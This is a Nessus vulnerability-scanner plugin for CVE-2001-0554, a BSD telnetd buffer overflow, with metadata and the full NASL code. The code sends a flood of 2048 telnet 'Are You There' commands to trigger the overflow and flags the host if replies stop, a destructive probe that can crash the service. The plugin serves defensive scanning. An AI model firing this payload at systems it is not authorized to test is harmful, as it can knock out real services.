BSD Based telnetd telrcv Function Remote Command Execution

2001-07-24T00:00:00
ID TESO_TELNET.NASL
Type nessus
Reporter This script is Copyright (C) 2001-2018 Pavel Kankovsky
Modified 2021-05-02T00:00:00

Description

The Telnet server does not return an expected number of replies when it receives a long sequence of 'Are You There' commands. This probably means it overflows one of its internal buffers and crashes. This could likely lead to arbitrary code execution.

                                        
                                            #
# Test TESO in.telnetd buffer overflow
#
# Copyright (c) 2001 Pavel Kankovsky, DCIT s.r.o. <kan@dcit.cz>
# Permission to copy, modify, and redistribute this script under
# the terms of the GNU General Public License is hereby granted.
#
# The kudos for an idea of counting of AYT replies should go
# to Sebastian <scut@nb.in-berlin.de> and Noam Rathaus
# <noamr@beyondsecurity.com>.
#
# rd: tested against Solaris 2.8, RH Lx 6.2, FreeBSD 4.3 (patched & unpatched)

# Changes by Tenable:
# - Revised plugin title, changed family (8/19/09)


include("compat.inc");

if (description) {
   script_id(10709);
   script_version ("1.34");
   script_cve_id("CVE-2001-0554");
   script_bugtraq_id(3064);
 
  script_name(english:"BSD Based telnetd telrcv Function Remote Command Execution");
 
# http://www.team-teso.net/advisories/teso-advisory-011.tar.gz is dead

 script_set_attribute(attribute:"synopsis", value:
"The remote telnet server may be vulnerable to a buffer overflow
attack." );
 script_set_attribute(attribute:"description", value:
"The Telnet server does not return an expected number of replies when
it receives a long sequence of 'Are You There' commands.  This
probably means it overflows one of its internal buffers and crashes. 
This could likely lead to arbitrary code execution." );
 script_set_attribute(attribute:"solution", value:
"Disable the telnet service by, for example, commenting out the
'telnet' line in /etc/inetd.conf." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2001/07/24");
 script_set_attribute(attribute:"vuln_publication_date", value: "2001/07/18");
 script_cvs_date("Date: 2018/08/01 17:36:12");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 
  script_summary(english:"Attempts to overflow the Telnet server buffer");
  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_copyright(english:"This script is Copyright (C) 2001-2018 Pavel Kankovsky");
  script_family(english:"Gain a shell remotely");
  # Must run AFTER ms_telnet_overflow-004.nasl
  script_dependencie("find_service1.nasl", "ms_telnet_overflow.nasl");

  script_require_ports("Services/telnet", 23);
  exit(0);
}

#
# The script code starts here.
#
include('telnet_func.inc');

iac_ayt = raw_string(0xff, 0xf6);
iac_ao  = raw_string(0xff, 0xf5);
iac_will_naol = raw_string(0xff, 0xfb, 0x08);
iac_will_encr = raw_string(0xff, 0xfb, 0x26);

#
# This helper function counts AYT responses in the input stream.
# The input is read until 1. the expected number of responses is found,
# or 2. EOF or read timeout occurs.
#
# At this moment, any occurence of "Yes" or "yes" is supposed to be such
# a response. Of course, this is wrong: some FreeBSD was observed to react
# with "load: 0.12  cmd: .log 20264 [running] 0.00u 0.00s 0% 620k"
# when the telnet negotiation have been completed. Unfortunately, adding
# another pattern to this code would be too painful (hence the negotiation
# tricks in attack()).
#
# In order to avoid an infinite loop (when testing a host that generates
# lots of junk, intentionally or unintentionally), I stop when I have read
# more than 100 * max bytes.
#
# Please note builtin functions like ereg() or egrep() cannot be used
# here (easily) because they choke on '\0' and many telnet servers send
# this character
#
# Local variables: num, state, bytes, a, i, newstate
#

function count_ayt(sock, max) {
  local_var a, bytes, i, newstate, num, state;

  num = 0; state = 0;
  bytes = 100 * max;
  while (bytes >= 0) {
    a = recv(socket:sock, length:1024);
    if (!a) return (num);
    bytes = bytes - strlen(a);
    for (i = 0; i < strlen(a); i = i + 1) {
      newstate = 0;
      if ((state == 0) && ((a[i] == "y") || (a[i] == "Y")))
        newstate = 1;
      if ((state == 1) && (a[i] == "e"))
        newstate = 2;
      if ((state == 2) && (a[i] == "s")) {
        # DEBUG display("hit ", a[i-2], a[i-1], a[i], "\n");
        num = num + 1;
        if (num >= max) return (num);
        newstate = 0;
      }
      state = newstate;
    }
  }
  # inconclusive result
  return (-1);
}

#
# This functions tests the vulnerability. "negotiate" indicates whether
# full telnet negotiation should be performed using telnet_init().
# Some targets might need it while others, like FreeBSD, fail to respond
# to AYT in an expected way when the negotiation is done (cf. comments
# accompanying count_ayt()).
#
# Local variables: r, total, size, bomb, succ
#

function attack(port, negotiate) {
  local_var bomb, r, size, soc, succ, total;

  succ = 0;
  soc = open_sock_tcp(port);
  if (!soc) return (0);
  if (negotiate)
    # standard negotiation
    r = telnet_negotiate(socket:soc);
  else {
    # wierd BSD magic, is is necessary?
    send(socket:soc, data:iac_will_naol);
    send(socket:soc, data:iac_will_encr);
    r = 1;
  }
  if (r) {
    # test whether the server talks to us at all
    # and whether AYT is supported
    send(socket:soc, data:iac_ayt);
    r = count_ayt(sock:soc, max:1);
    # DEBUG display("probe ", r, "\n");
    if (r >= 1) { 
      # test whether too many AYT's make the server die
      total = 2048; size = total * strlen(iac_ayt);
      bomb = iac_ao + crap(length:size, data:iac_ayt);
      send(socket:soc, data:bomb);
      r = count_ayt(sock:soc, max:total);
      # DEBUG
#display("attack ", r, " expected ", total, "\n");
      if ((r >= 0) && (r < total - 4)) succ = 1;
    }
  }
  close(soc);
  return (succ);
}

#
# The main program.
#

port = get_kb_item("Services/telnet");
if (!port) port = 23;

if (get_port_state(port)) {
  banner = get_telnet_banner(port:port);
  if ("Welcome to Microsoft Telnet Service" >< banner) exit(0);

  success = attack(port:port, negotiate:0);
  if (success <= 0) success = attack(port:port, negotiate:1);
  if (success > 0) security_hole(port);
}